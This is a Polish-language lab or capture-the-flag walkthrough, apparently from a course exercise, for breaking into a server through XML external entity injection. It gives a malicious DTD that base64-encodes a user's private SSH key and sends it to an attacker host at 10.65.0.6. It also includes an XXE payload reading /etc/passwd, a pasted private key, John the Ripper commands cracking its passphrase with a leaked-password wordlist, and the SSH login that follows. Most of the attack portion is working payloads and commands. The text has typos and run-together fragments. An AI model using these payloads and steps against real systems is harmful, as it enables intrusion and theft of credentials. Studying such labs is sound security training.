Włamanie na serwer i eksfiltracji klucza SSH
Zadanie: Wykorzystanie podatności, aby przeprowadzić atak prowadzący do eskalacji uprawnień.
Szczegółowy opis: Przygotowanie zewnętrznej encji XML w pliku xxe.dtd, która umożliwia odczyt lokalnych plików na serwerze ofiary i przesyłanie ich zawartości w formacie base64 na maszynę atakującego. Identyfikacja aktywnego konta użytkownika systemowego poprzez odczyt pliku /etc/passwd. Eksfiltracja prywatnego klucza SSH z katalogu domowego użytkownika oraz złamanie jego hasła za pomocą ataku słownikowego. Ostatecznym celem jest zdalne połączenie się z kontem ofiary i uzyskanie dostępu do systemu w celu przejęcia flagi.
Target IP: [TERGET_IP]
UI Aplikacji:

-
Utwórz plik xxe.dtd na Kali
Cel: Przygotować zewnętrzną encję, która odczyta dowolny plik i wyśle go do Kali w base64
Działanie: Przygotuj plik xxe.dtd na KaliSprawdzenie poprawności utworzenia zobisz za pomocaskrypt dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/home/sshadmin/.ssh/id_rsa"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://10.65.0.6/%file;'>"> %eval; %exfil;
-
Odczyt pliku /etc/passwd
Cel: Zweryfikować podatność i pozyskać nazwa użytkownika systemowego
Działanie: Wklej w pole poniszy xml payloadXML payload
<!DOCTYPE pjatk [<!ENTITY xxe SYSTEM "/etc/passwd"> ]> <PLANT> <COMMON>&xxe;</COMMON> <BOTANICAL>Sanguinaria canadensis</BOTANICAL> <ZONE>4</ZONE> <LIGHT>Mostly Shady</LIGHT> <AVAILABILITY>031599</AVAILABILITY> </PLANT>Rezultat:

-
Eksfiltracja klucza id_rsa
Cel: Zdobyć materiał do dalszego włamania
Działanie: Zmień w xxe.dtd ścieżkę na /home/sshadmin/.ssh/id_rsa, odśwież serwer i powtórz krok 2. Zapisz wynik w id_rsa.
Rezultat:
-
Złamanie hasła klucza
Cel: Poznać passphrase klucza
Działanie: Najpierw przekształcić klucz do formatu akceptowanego przez John the Ripper, a następnie użyć słownika carders.cc do odgadnięcia jego hasła.
4a. Utwórz plik id_rsa i wklej klucz w poprawnym układzie Mozesz to zrobic takze manualnie za pomoca "nanoBash
cat > id_rsa <<'EOF' -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAR7yqUKZ lMQFd9zLkvlM6yAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDdeieceRH0 …(POZOSTAŁE linie Base64 w oryginalnym układzie)… jEOI2JozpZQqzv0HEDfAEtRMb5g= -----END OPENSSH PRIVATE KEY----- EOF4b. Nadaj właściwe prawa
chmod 400 id_rsa4c. Zweryfikuj szybkim podglądema
head -n 5 id_rsa4d. Przekonwertuj klucz na hash zrozumiały dla Johna
ssh2john id_rsa > id_rsa.john4e. Złam hasło słownikiem carders
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/carders.cc.txt id_rsa.john4f. Wyświetl wynik ponownie
john --show id_rsa.johnRezultat:

-
Połączenie SSH z hostem [TARGET_IP] przy użyciu złamanego klucza
Cel: Uzyskać interaktywną powłokę użytkownika sshadmin na serwerze 192.168.100.63, korzystając z prywatnego klucza id_rsa i poznanego wcześniej passphrase.
Działanie: W terminalu uruchomić:ssh -i id_rsa sshadmin@[TARGET_IP]Następnie, gdy klient SSH poprosi o hasło do klucza, wpisać odzyskany passphrase. Po uwierzytelnieniu następuje zalogowanie na konto sshadmin i otrzymanie powłoki systemu zdalnego.
Rezultat:
-
Rozpoznanie terenu
Cel: Po dostaniu się na konto (sshadmin) nie wiesz, jakie pliki czy skrypty są dostępne. Uzyj listowania by zobaczyc
Działanie: Wykonaj ls -la (widok z uprawnieniami) w katalogu domowym użytkownika, aby wyświetlić pełną listę plików — łącznie z ukrytymi (.*) — i ocenić, które z nich warto dalej analizowaćls cat *